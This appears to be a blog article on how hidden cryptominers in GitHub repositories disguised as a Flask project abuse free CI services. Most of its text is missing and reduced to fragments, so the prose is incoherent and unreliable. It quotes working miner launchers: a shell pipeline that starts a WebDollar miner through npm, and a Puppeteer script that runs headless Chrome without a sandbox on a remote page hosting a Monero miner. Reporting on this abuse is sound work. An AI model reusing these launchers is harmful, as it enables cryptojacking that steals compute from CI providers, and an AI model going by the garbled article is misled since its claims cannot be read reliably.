How Cryptominers Are Killing Free CIs

CI platforms such as LayerCI, GitLab, TravisCI, and Shippable are degrading or even shutting down their free servers due to hidden mining attacks.





1 2020 GitLab CI «». TravisCI - « ». .





The market capitalization of the cryptocurrency jumped from 190 billion to 2 trillion in one year.
190 2 .

: 190 . 2020 2 2021, PaaS .





LayerCI -, E2E . CI ( ).





, , « » -. .





717 GitHub

«testronan» – Flask. GitHub : «testronan/MyFirstRepository-Flask».





, , , . CI-: TravisCI, CircleCI, GitHub Actions, Wercker, LayerCI.





. I «listhen.sh»: shell , NodeJS , , :





(sleep 10; echo 4; sleep 2; echo "tex.webd";sleep 2; echo 7; sleep 1; echo 1; sleep 1; echo "exit"; sleep 2) | stdbuf -oL npm run commands  
      
      



MyFirstRepository-Flask Flask -. , WebDollars (. ) . WebDollar NodeJS.





GitHub , «cron» WebDollar .





WebDollar 0.0005 77 – , , -.





, :





«vippro99» . .





nodejs-monney Chrome c puppeteer project.





: CI (, ), – CI.





puppeteer.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--window-size=500,500', '--user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36' ] }).then(async browser => {
  console.log('-- Running chrome!!');
 const page = await browser.newPage();
 await page.goto('https://vippro99.github.io/-meocoder-nodejs-tool/index.html');
  page.on('console', (msg) => console.log(msg.text()));
 await page.waitForTimeout(((Math.floor(Math.random() * 6) + 52) * 60) * 1000);
 await browser.close();
 
})

      
      



GitHub Pages - Monero, Coinhive.





JFrog's Shippable CI, (, ) .





«vippro99», . Monero, Shippable 2.5 , 60 .





Ethereum, , , Proof-of-Stake (PoS).





«proof-of-work» , : CI-.





, , , . Heroku, Netlify GitHub – «proof-of-work».






- ITSOFT — - . UPTIME 100%. GPU- ASIC-, GPU-, , SSL-, .





-.








All Articles